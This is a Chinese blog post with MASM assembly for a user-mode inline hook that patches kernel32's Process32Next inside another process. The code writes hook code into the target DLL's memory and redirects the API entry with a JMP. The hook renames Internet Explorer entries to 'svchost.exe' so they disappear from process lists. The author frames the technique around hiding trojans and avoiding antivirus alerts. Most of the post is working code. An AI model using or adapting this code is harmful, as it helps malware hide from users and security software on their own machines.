现在的位置: 首页 > 综合 > 正文

应用层InLine Hook

2013年02月07日 ⁄ 综合 ⁄ 共 7424字 ⁄ 字号 评论关闭

by czy

 我的思路:

1.得到本进程中包含被挂接API的DLL的基地址,该DLL代码节的虚拟偏移以及该API的入口地址.API入口地址-(代码节虚拟偏移+DLL基地址)=函数入口相对于代码节的偏移

2.得到目标进程的PID,以及目标进程包含被挂接API的DLL的基地址(注意一般来说和前面自身进程的值相同)前面得到的函数入口偏移+DLL基地址+代码节虚拟偏移=目标进程API函数入口地址

3.打开目标进程读目标进程API函数入口处128字节代码到自身进程的变量中.然后调用z0mbie写的LDE32库取该API函数入口处几个指令的长度当长度>=5时保存该长度(这样防止后面取指令没有对齐)

4.为我们的假函数在目标进程加载的DLL中分配空间(我是把代码写在PE头的后面)这儿要改该内存的属性为读写执行(PAGE_EXECUTE_READWRITE).为了方便编译我们的假函数是写在代码段中的,在运行时要把这些代码移到数据段,然后把第3步取出的指令放在数据段中相应的偏移处.同时还要在数据段中设置跳回真实函数的JMP指令.

5.把真正的API开头的指令改为JMP到我们的假函数中.

;目前遇到的问题:

1.在假函数中如何调用其它的API函数,以及如何方便的引用全局,局部变量

2.如何防止重复HOOK.

3.假函数写在目标DLL的哪儿比较适合.

看了网上不少公开的文章后写了这些代码,个人感觉应用层INLINE HOOK对于木马隐藏来说不是很有必要.因为WIN 2K及以后系统的COPY ON WRITE机制,导致象我这样的HOOK并不是全局的,要实现全局的要不是举例进程每个进程都这样处理一次,要不就是要安装全局钩子但一般这个操作都要引起杀毒软件的报警.另外如果上面第一种办法对于新启动的进程你还得不停的举例以便于找出新启动的进程哩.有些人说在驱动下可以有一个通知API,但这样的话还不如直接在驱动下HOOK SSDT或是驱动的INLINE HOOK了.

comment %
                #--------------------------------------#          #
              #  UserLand InLine Hook          -->      #       #
            #    -->Hook Process32Next(only a Demo)       #   #
          #                      2007.03.10                 #  
            #                    codz: czy                #   #
             #------------------------------------------#      #

system :test on XPSP2cn
%
.586
.model flat,stdcall
option casemap:none

include     ../include/windows.inc
include     ../include/user32.inc
includelib  ../lib/user32.lib
include     ../include/kernel32.inc
includelib  ../lib/kernel32.lib
include     ../include/shell32.inc
includelib  ../lib/shell32.lib

.data
kernel32 db 'kernel32.dll',0
P32First db 'Process32Next',0
inline  db 'Hook Process32Next Hide Process:)',0
sztext  db '.text   ',0
VirtualAddress dd 0
JMPCODE db 0E9h,010h,10H,10H,10H,0
JMPCODE2 db 0E9h,010h,10H,10H,10H,0
HookFunBuf  db 256 dup (?)

.code
_ProcessPeFile proc _lpPeHead
  local @szBuffer[1024]:byte,@szSectionName[16]:byte
  
        mov esi,_lpPeHead
  assume esi:ptr IMAGE_DOS_HEADER
        add esi,[esi].e_lfanew
  mov edi,esi
  assume edi:ptr IMAGE_NT_HEADERS

;********************************************************************
; 循环显示每个节区的信息
;********************************************************************
  movzx ecx,[edi].FileHeader.NumberOfSections
  add edi,sizeof IMAGE_NT_HEADERS
  assume edi:ptr IMAGE_SECTION_HEADER
  .repeat
   push ecx
;********************************************************************
; 节区名称
;********************************************************************
   invoke RtlZeroMemory,addr @szSectionName,sizeof @szSectionName
   push esi
   push edi
   mov ecx,8
   mov esi,edi
   lea edi,@szSectionName
   cld
   @@:
   lodsb
   .if ! al
    mov al,' '
   .endif
   stosb
   loop @B
   pop edi
   pop esi
;********************************************************************
            invoke lstrcmpi,offset sztext,addr @szSectionName
            .if eax == 0
      push [edi].VirtualAddress
      pop eax
      ret
   .else
   add edi,sizeof IMAGE_SECTION_HEADER
   .endif
;********************************************************************
   pop ecx
  .untilcxz
  assume edi:nothing
  ret

_ProcessPeFile endp

;得到相应进程的模块加载的起始地址
GetShell32Base  proc uses ebx esi edi remoteproid
            LOCAL hSnapshot:dword
            LOCAL modinfo:MODULEENTRY32
            LOCAL modname[256]:byte

        mov     modinfo.dwSize,sizeof MODULEENTRY32
        invoke  CreateToolhelp32Snapshot,TH32CS_SNAPMODULE,remoteproid
        mov     hSnapshot,eax
        invoke  Module32First,hSnapshot,addr modinfo
        .while eax
        lea     ecx,modinfo.szModule
        invoke  lstrcmpi,offset kernel32,ecx
        .if     eax == 0
                mov eax,modinfo.modBaseAddr
                ret
        .endif
        invoke  Module32Next,hSnapshot,addr modinfo
        .endw      
        invoke CloseHandle,hSnapshot
        
                ret
GetShell32Base   endp

InlineHook  proc
    LOCAL   hProcess:dword
    LOCAL   hKernel32:dword
    LOCAL   hAPI:dword
    LOCAL   PID:dword
    LOCAL   ModBase:dword
    LOCAL   OLDpro:dword
    LOCAL   CodeBuf[128]:byte
    LOCAL   optable[2048]:byte
    LOCAL   codelen:dword
    LOCAL   APIoffset:dword
    LOCAL   hAPI2:dword
    LOCAL   pHookFun:dword
    LOCAL   hooklen1:dword
    LOCAL   hookfunlen:dword
   
    lea  eax,optable
    push eax
    call disasm_init  ;解压缩'指令长度表'
   
    invoke  LoadLibrary,offset kernel32   ;得到自身进程DLL的基地址
    mov     hKernel32,eax
    invoke  _ProcessPeFile,hKernel32      ;通过分析PE文件得到相应的.text节的虚拟偏移
    mov     VirtualAddress,eax           ;一般为1000h
    invoke  GetProcAddress,hKernel32,offset P32First  ;得到API的入口地址   
    mov     hAPI,eax
    mov     eax,hKernel32
    add     eax,VirtualAddress           ;得到代码节起始地址
    mov     ecx,hAPI
    sub     ecx,eax                      ;函数入口相对于代码节的偏移
    mov     APIoffset,ecx
    invoke  GetCurrentProcessId
    mov     PID,eax
    mov     eax,9504
    mov     PID,eax
    invoke  GetShell32Base,eax
    mov     ModBase,eax                  ;得到目标进程DLL的基地址
    add     eax,VirtualAddress           ;得到目标进程DLL的代码节基地址
    add     eax,APIoffset                ;得到目标进程被HOOK的函数的入口地址
    mov     hAPI2,eax
    invoke  OpenProcess,PROCESS_ALL_ACCESS,FALSE,PID
    mov     hProcess,eax
    invoke  ReadProcessMemory,hProcess,hAPI2,addr CodeBuf,128,0
    lea     esi,CodeBuf
    xor     edi,edi

@@nextcode:   
    push esi
    lea  eax,optable
    push eax
    call disasm_main
    .if eax !=-1
        add edi,eax
        .if edi>=5
        mov codelen,edi   ;codelne记录应该COPY的代码字节数
        jmp @@findok
        .else
        add esi,eax
        jmp @@nextcode
        .endif
    .else
    xor eax,eax
    ret
    .endif
@@findok:
        
;写HOOK函数到目标进程DLL的空闲空间中
    mov     eax,ModBase
    add     eax,VirtualAddress
    sub     eax,512
    mov     pHookFun,eax
    invoke  VirtualProtectEx,hProcess,pHookFun,512,PAGE_EXECUTE_READWRITE,addr OLDpro
   
    ;计算偏移
    mov     ecx,@@hookbeg
    mov     eax,@@fakeret   
    sub     eax,ecx
    mov     hooklen1,eax
    ;计算HOOK函数的全部代码长度
    mov     ecx,@@hookbeg
    mov     eax,@@hookfunend
    sub     eax,ecx
    mov     hookfunlen,eax
    ;把HOOK函数从代码段移到变量中
    mov     eax,@@hookbeg
    invoke  RtlMoveMemory,offset HookFunBuf,eax,hookfunlen
    ;把HOOK函数从变量中移到目标进程的内存中,这儿只移开头的一部分
    invoke  WriteProcessMemory,hProcess,pHookFun,offset HookFunBuf,hooklen1,0
    ;移动被覆盖的原函数代码到目标内存中
    mov     ecx,pHookFun
    add     ecx,hooklen1
    sub     ecx,21
    invoke  WriteProcessMemory,hProcess,ecx,addr CodeBuf,codelen,0
    ;跳回原函数
    mov     ecx,pHookFun
    add     ecx,hooklen1
    mov     edx,ecx
    sub     ecx,5         ;JMP指令的起始地址
    mov     eax,hAPI2
    sub     eax,edx
    add     eax,codelen
    mov     edx,offset JMPCODE2
    inc     edx
    mov     [edx],eax
    invoke  WriteProcessMemory,hProcess,ecx,offset JMPCODE2,5,0
    ;移动真正的HOOK功能代码到目标内存中
    mov     ecx,pHookFun
    add     ecx,hooklen1
    mov     eax,offset HookFunBuf
    add     eax,hooklen1
    mov     edx,hookfunlen
    sub     edx,hooklen1
    invoke  WriteProcessMemory,hProcess,ecx,eax,edx,0

    ;设置跳转指令
    mov     eax,pHookFun
    sub     eax,hAPI2
    sub     eax,5
    mov     ecx,offset JMPCODE
    inc     ecx
    mov     [ecx],eax
   

    invoke  VirtualProtectEx,hProcess,hAPI2,codelen,PAGE_READWRITE,addr OLDpro
    invoke  WriteProcessMemory,hProcess,hAPI2,offset JMPCODE,5,0
    invoke  VirtualProtectEx,hProcess,hAPI2,codelen,OLDpro,addr OLDpro
    invoke  CloseHandle,hProcess
   
    invoke  MessageBox,0,offset inline,offset inline,1
   
            ret   
InlineHook  endp

@@hookbeg:
push [esp+8]  ;ARG2 有几个参数就ESP加几*4
push [esp+8]  ;ARG1
jmp  @@fakeret
@@setret:
somenop1 db 90h,90h,90h,90h,90h,90h,90h,90h,90h,90h,90h,90h,90h,90h,90h,90h  
;这儿填被JMP覆盖的指令
somenop2 db 90h,90h,90h,90h,90h           ;填跳回原函数的JMP指令
@@fakeret:
call @@setret
;检查原函数的参数,判断是否改变原函数的执行结果,这时EAX为函数返回值注意保存
sub esp,8
pushad
mov edx,[esp+4+32];原函数倒数第2个参数,进程信息结构的地址
.if eax != ERROR_NO_MORE_FILES
    add edx,36
    mov eax,[edx]
    mov ecx,[edx+4]
    .if (eax == 'pxei')&&( ecx == 'erol')  ;把iexplorer换为svchost.exe
        mov eax,'hcvs'
        mov [edx],eax
        mov eax,'.tso'
        mov [edx+4],eax
        mov eax,' exe'
        mov [edx+8],eax
    .endif
.endif
popad
add esp,8
;跳回正常的返回地址
ret 8   ;参数个数*4
@@hookfunend:

start:
    invoke  MessageBoxA,0,offset inline,offset inline,1
    invoke  InlineHook
    invoke  ExitProcess,0

include     /masm32/include/lde32bin.inc

end start

抱歉!评论已关闭.